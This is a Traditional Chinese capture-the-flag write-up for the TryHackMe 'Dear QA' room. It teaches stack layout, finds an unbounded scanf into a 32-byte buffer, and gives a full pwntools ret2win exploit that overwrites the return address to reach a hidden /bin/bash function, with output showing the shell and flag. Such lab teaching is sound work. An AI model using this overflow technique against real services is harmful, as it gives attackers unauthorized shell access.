TryHackMe Dear QA writeup (zh-TW)
📋 目標資訊
- Target IP:
10.201.72.213 - Port:
5700 - Binary:
DearQA-1627223337406.DearQA(ELF 64-bit) - 目標: 利用 buffer overflow 執行
vuln()函數獲得 shell - 題目連結: https://tryhackme.com/room/dearqa
🔍 第一步:檔案分析
檢查二進位檔案架構
file DearQA
輸出結果:
DearQA: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=8dae71dcf7b3fe612fe9f7a4d0fa068ff3fc93bd, not stripped
Binary Architecture: x64 (或 x86-64)
為什麼是 x64?
從反編譯代碼(下面其實才會有反編譯的詳細步驟,這裡可以做為額外佐證),可以看出幾個關鍵證據:
- 暫存器命名: 使用
rsp、rbp(64-bit),而非esp、ebp(32-bit) - 指標大小: 使用
__int64型別,指標為 8 bytes
📖 Pwn 基礎知識:理解 Stack
這部分包含完整的入門討論,幫助理解 buffer overflow 的原理
Stack 是什麼?
當程式執行時,會在記憶體中建立一個叫做 Stack (堆疊) 的區域,想像 Stack 就像一疊盤子:
┌──────────────────┐ ← 高位址 (0x7fff...)
│ │
│ Stack 區域 │
│ (由上往下長) │
│ │
└──────────────────┘ ← 低位址 (0x0000...)
什麼叫「由上往下長」?
記憶體位址就像門牌號碼,數字越大代表「高位址」。當程式需要更多 stack 空間時,它會往低位址的方向延伸:
位址 0x7fff0020 ← Stack 開始的地方
位址 0x7fff0018 ← 放第一個變數
位址 0x7fff0010 ← 放第二個變數(往下長)
位址 0x7fff0008 ← 放第三個變數(繼續往下)
類比: 就像從第 100 樓往下蓋到第 1 樓,樓層號碼越來越小。
函數呼叫時的 Stack 結構
當 main() 被呼叫時,Stack 依序建立:
步驟 1:CALL 指令
┌─────────────────────┐
│ return address │ ← CPU 自動 push 返回地址
└─────────────────────┘
步驟 2:進入函數
┌─────────────────────┐
│ return address │
├─────────────────────┤
│ saved rbp │ ← 保存舊的 base pointer
└─────────────────────┘
步驟 3:分配局部變數
char v4[32]; // 需要 32 bytes 空間
Stack 繼續往下長:
┌─────────────────────┐ 高位址
│ return address │ ← rbp+8
├─────────────────────┤
│ saved rbp │ ← rbp+0
├─────────────────────┤
│ │
│ v4[32 bytes] │ ← rbp-32 (最後分配,所以在低位址)
│ │
└─────────────────────┘ 低位址
關鍵觀念:
- 先進 stack 的東西在高位址 (return address)
- 後進 stack 的東西在低位址 (v4)
- 我們的輸入會從低位址開始寫入!
🔍 第二步:反編譯分析
從 Hex-Rays 反編譯的代碼發現兩個關鍵函數:

1. vuln() - 隱藏的後門函數
//----- (0000000000400686) ----------------------------------------------------
int vuln()
{
puts("Congratulations!");
puts("You have entered in the secret function!");
fflush(stdout);
return execve("/bin/bash", 0, 0); // ← 直接給 shell!
}
關鍵發現:
- 函數位址:
0x400686 - 功能: 執行
/bin/bash獲得 shell - 問題: main() 沒有呼叫這個函數!
2. main() - 有漏洞的主函數
//----- (00000000004006C3) ----------------------------------------------------
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp+0h] [rbp-20h] BYREF ← 只有 32 bytes!
puts("Welcome dearQA");
puts("I am sysadmin, i am new in developing");
printf("What's your name: ");
fflush(stdout);
__isoc99_scanf("%s", v4); // ⚠️ 沒有長度檢查!
printf("Hello: %s\n", v4);
return 0;
}
漏洞分析:
v4緩衝區只有 32 bytesscanf("%s")沒有長度限制- 可以寫入超過 32 bytes,造成緩衝區溢出!
從註解推算 Stack Layout
關鍵資訊: [rbp-20h] 表示 v4 起始於 rbp - 0x20 (rbp - 32)
rbp+8 ← return address (目標!)
rbp+0 ← saved rbp
rbp-8 ← v4[24~31]
rbp-16 ← v4[16~23]
rbp-24 ← v4[8~15]
rbp-32 ← v4[0~7] (v4 的起始位置)
計算偏移量:
- 填滿 v4: 32 bytes
- 覆蓋 saved rbp: 8 bytes
- 總計: 需要 40 bytes 才能到達 return address
攻擊原理:控制程式流程
Return Address 是什麼?
當函數執行完畢,它需要知道「要回到哪裡繼續執行」。
正常流程:
int main() {
printf("A");
some_function(); // ← 呼叫函數,跳走
printf("B"); // ← 執行完要回來這裡!
return 0;
}
Return Address 記錄著「要回去的地方」的位址。
我們的攻擊策略
正常情況:
main() 執行到最後
↓
讀取 return address (回到系統)
↓
程式正常結束
攻擊後:
main() 執行到最後
↓
讀取 return address (被改成 0x400686)
↓
跳到 vuln() 函數!
↓
execve("/bin/bash") ← 獲得 shell!
如何「改」return address?
利用 scanf 的漏洞,輸入超長字串:
輸入 50 個字元時:
┌─────────────────────┐
│ return address │ ← 最後 8 個字元寫到這!
├─────────────────────┤
│ saved rbp │ ← 中間 8 個字元寫到這
├─────────────────────┤
│ v4[32 bytes] │ ← 前 32 個字元寫到這
└─────────────────────┘
溢出了! 我們可以控制 return address!
第三步:編寫 Exploit
為什麼要用 p64() 包裝地址?
地址在記憶體中使用 Little-Endian (小端序) 儲存:
地址: 0x0000000000400686
❌ 錯誤寫法:
00 00 00 00 00 40 06 86
✅ 正確寫法 (little-endian):
86 06 40 00 00 00 00 00
↑ ↑ ↑
低位 → 高位 (反過來)
pwntools 的 p64() 自動處理這個轉換!
# 手動方式(容易出錯)
addr = b'\x86\x06\x40\x00\x00\x00\x00\x00'
# 使用 pwntools(推薦)
from pwn import *
addr = p64(0x400686) # 自動轉成正確的 byte 順序
完整 Exploit 代碼
from pwn import *
# 目標資訊
host = '10.201.72.213'
port = 5700
# vuln 函數位址
vuln_addr = 0x400686
# 連接
io = remote(host, port)
# 構造 payload
payload = b'A' * 32 # 填滿 32 bytes buffer
payload += b'B' * 8 # 覆蓋 saved rbp (8 bytes)
payload += p64(vuln_addr) # 覆蓋返回地址為 vuln()
# 發送 payload
io.recvuntil(b'name: ')
io.sendline(payload)
# 獲得 shell 後執行命令
io.interactive()Payload 結構圖
[AAAAAAAA...32 bytes...][BBBBBBBB][0x400686]
↑ ↑ ↑
填滿 v4 覆蓋 rbp 覆蓋 return address
第四步:執行 Exploit
執行腳本
python3 solve.py
成功獲得 Shell
[+] Opening connection to 10.201.72.213 on port 5700: Done
[*] Switching to interactive mode
Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x86\x06@
Congratulations!
You have entered in the secret function!
bash: cannot set terminal process group (653): Inappropriate ioctl for device
bash: no job control in this shell
$
✅ 成功跳轉到 vuln() 並獲得 shell!
第五步:取得 Flag
尋找 Flag
$ ls
DearQA
flag.txt
$ cat flag.txt
THM{Redacted}
✅ 成功取得 Flag!
📚 技術要點總結
Buffer Overflow 基礎概念
- ✅ Stack 結構:理解「由上往下長」的概念
- ✅ Stack Layout:return address → saved rbp → local variables
- ✅ 函數呼叫:CALL 指令自動 push return address
經驗分享
這一題是筆者的入門pwn,我參與所有CTF都會跳過pwn的題目,但今天想要來入門,下面附上跟Claude AI討論的東西,
🎓 入門者常見問題
Q: 為什麼我的輸入直接放在低位址?
A: 因為 Stack 往下長!局部變數是最後分配的,所以在最低的位址,先進 Stack 的 return address 反而在高位址。
Q: 為什麼可以控制程式流程?
A: 因為覆蓋了 return address。當 main() 執行 return 時,CPU 會從 Stack 讀取 return address 並跳轉,我們把它改成 vuln() 的地址,程式就跳到那裡了!
Q: 如果沒有 vuln() 這種現成函數怎麼辦?
A: 這就是進階技巧了!可以使用:
- ret2libc: 呼叫系統函數 (如 system())
- ROP: 拼湊程式內的指令片段
- Shellcode: 注入自己的機器碼
Q: 為什麼要用 p64() 而不是直接寫地址?
A: 因為 x86-64 使用 Little-Endian,地址在記憶體中是反過來存的,p64() 會自動幫你轉換成正確的 byte 順序。
🎉 結論
這題是非常經典的 ret2win 類型題目,完美展示了:
- Buffer Overflow 的基本原理
- Stack 的結構與運作方式
- 如何控制程式執行流程
- Exploit 開發的基礎技巧

Member discussion